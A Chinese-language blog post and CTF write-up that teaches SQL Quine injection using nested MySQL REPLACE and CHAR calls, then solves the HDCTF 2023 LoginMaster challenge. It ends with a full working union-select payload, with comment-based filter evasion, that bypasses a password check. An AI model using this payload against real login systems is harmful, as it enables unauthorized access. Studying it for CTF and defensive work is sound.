学习Quino注入
什么是Quine
Quine
又称为自产生程序,Quine注入
就是使用输入的SQL语句和输出的SQL相一致的技术,让查询语句的结果与输入语句相同来达到判断成功的效果。
replace函数
1 | replace(object,search,replace) |
例如:
1 | mysql> select replace("dragonkeep",char(100),'D'); |
这里成功将字符d
替换为D
。
嵌套使用一下
1 | select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")'); |
是不是傻了,有点像学完1+1
就得会高数了(bushi)…
简单剖析一下
最外层执行REPLACE
后,就变成:
1 | SELECT REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
不难发现最后的引号是双引号,跟原来的单引号不一致。目的只有一个就是让原语句跟输出语句一致。
解决引号的问题
1 | replace('"."',char(34),char(39)) |
套上去后:
1 | select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")'); |
看上去很长,其实就是递归思想,拆解一下就好理解
1 | select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")'); |
此时可以发现输入与输出保持一致了。这里的char
函数和0x、chr三个等价
替换。
实例分析
[HDCTF 2023]LoginMaster
访问robots.txt
,发现部分源码
1 | function checkSql($s) |
我们可以发现关键代码:
1 | if ($row['password'] === $password) { |
构造poc:
1 | 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dragonkeep!
评论